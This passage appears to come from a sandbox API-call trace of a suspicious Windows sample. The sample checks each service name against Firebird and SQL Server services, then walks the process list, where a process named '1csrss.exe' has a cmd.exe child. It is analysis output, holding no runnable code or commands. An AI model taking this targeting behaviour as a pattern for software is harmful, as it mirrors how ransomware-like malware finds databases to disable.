(lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0276.252] lstrlenW (lpString="netprofm") returned 8 [0276.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0276.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0276.252] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0276.252] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0276.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0276.253] lstrlenW (lpString="NgcSvc") returned 6 [0276.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0276.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0276.253] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0276.253] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0276.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0276.253] lstrlenW (lpString="NlaSvc") returned 6 [0276.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0276.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0276.253] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0276.253] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0276.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0276.253] lstrlenW (lpString="nsi") returned 3 [0276.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0276.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0276.253] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0276.253] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0276.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0276.253] lstrlenW (lpString="PcaSvc") returned 6 [0276.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0276.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0276.253] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0276.253] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0276.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0276.253] lstrlenW (lpString="PlugPlay") returned 8 [0276.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0276.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0276.253] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0276.253] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0276.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0276.253] lstrlenW (lpString="Power") returned 5 [0276.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0276.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0276.253] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0276.254] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0276.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0276.254] lstrlenW (lpString="ProfSvc") returned 7 [0276.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0276.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0276.254] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0276.254] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0276.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0276.254] lstrlenW (lpString="RpcEptMapper") returned 12 [0276.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0276.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0276.254] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0276.254] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0276.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0276.254] lstrlenW (lpString="RpcSs") returned 5 [0276.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0276.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0276.254] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0276.254] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0276.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0276.254] lstrlenW (lpString="SamSs") returned 5 [0276.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0276.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0276.254] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0276.254] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0276.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0276.254] lstrlenW (lpString="Schedule") returned 8 [0276.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0276.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0276.254] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0276.254] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0276.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0276.254] lstrlenW (lpString="SecurityHealthService") returned 21 [0276.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0276.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0276.255] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0276.255] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0276.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0276.255] lstrlenW (lpString="SENS") returned 4 [0276.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0276.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0276.255] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0276.255] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0276.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0276.255] lstrlenW (lpString="ShellHWDetection") returned 16 [0276.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0276.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0276.255] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0276.255] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0276.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0276.255] lstrlenW (lpString="Spooler") returned 7 [0276.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0276.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0276.255] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0276.255] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0276.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0276.255] lstrlenW (lpString="SSDPSRV") returned 7 [0276.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0276.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0276.255] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0276.255] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0276.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0276.255] lstrlenW (lpString="StateRepository") returned 15 [0276.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0276.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0276.255] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0276.255] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0276.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0276.256] lstrlenW (lpString="SysMain") returned 7 [0276.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0276.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0276.256] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0276.256] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0276.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0276.256] lstrlenW (lpString="SystemEventsBroker") returned 18 [0276.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0276.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0276.256] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0276.256] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0276.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0276.256] lstrlenW (lpString="Themes") returned 6 [0276.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0276.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0276.256] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0276.256] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0276.256] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x737f08 | out: hHeap=0x6e0000) returned 1 [0276.256] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a0 [0276.259] Process32FirstW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0276.260] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0276.260] lstrlenW (lpString="System") returned 6 [0276.260] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0276.261] lstrlenW (lpString="smss.exe") returned 8 [0276.261] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.262] lstrlenW (lpString="csrss.exe") returned 9 [0276.262] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0276.262] lstrlenW (lpString="wininit.exe") returned 11 [0276.262] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.263] lstrlenW (lpString="csrss.exe") returned 9 [0276.263] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0276.398] lstrlenW (lpString="winlogon.exe") returned 12 [0276.398] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0276.398] lstrlenW (lpString="services.exe") returned 12 [0276.398] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0276.399] lstrlenW (lpString="lsass.exe") returned 9 [0276.399] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0276.400] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0276.400] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0276.400] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0276.400] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.401] lstrlenW (lpString="svchost.exe") returned 11 [0276.401] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.402] lstrlenW (lpString="svchost.exe") returned 11 [0276.402] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0276.402] lstrlenW (lpString="dwm.exe") returned 7 [0276.402] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.403] lstrlenW (lpString="svchost.exe") returned 11 [0276.403] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.404] lstrlenW (lpString="svchost.exe") returned 11 [0276.404] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.404] lstrlenW (lpString="svchost.exe") returned 11 [0276.404] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.405] lstrlenW (lpString="svchost.exe") returned 11 [0276.405] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.405] lstrlenW (lpString="svchost.exe") returned 11 [0276.406] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.406] lstrlenW (lpString="svchost.exe") returned 11 [0276.406] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.407] lstrlenW (lpString="svchost.exe") returned 11 [0276.407] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.407] lstrlenW (lpString="svchost.exe") returned 11 [0276.407] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.408] lstrlenW (lpString="svchost.exe") returned 11 [0276.408] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.409] lstrlenW (lpString="svchost.exe") returned 11 [0276.409] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0276.409] lstrlenW (lpString="spoolsv.exe") returned 11 [0276.409] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0276.410] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0276.410] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0276.411] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0276.411] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0276.411] lstrlenW (lpString="Memory Compression") returned 18 [0276.411] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.412] lstrlenW (lpString="svchost.exe") returned 11 [0276.412] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0276.412] lstrlenW (lpString="audiodg.exe") returned 11 [0276.412] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0276.413] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0276.413] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0276.414] lstrlenW (lpString="sihost.exe") returned 10 [0276.414] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.414] lstrlenW (lpString="svchost.exe") returned 11 [0276.414] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0276.415] lstrlenW (lpString="taskhostw.exe") returned 13 [0276.415] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0276.416] lstrlenW (lpString="msoia.exe") returned 9 [0276.416] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0276.416] lstrlenW (lpString="explorer.exe") returned 12 [0276.416] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0276.417] lstrlenW (lpString="SearchUI.exe") returned 12 [0276.417] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0276.418] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0276.418] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0276.418] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0276.418] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0276.419] lstrlenW (lpString="1csrss.exe") returned 10 [0276.419] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.419] lstrlenW (lpString="svchost.exe") returned 11 [0276.419] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0276.420] lstrlenW (lpString="cmd.exe") returned 7 [0276.420] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0276.421] lstrlenW (lpString="conhost.exe") returned 11 [0276.421] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0276.421] 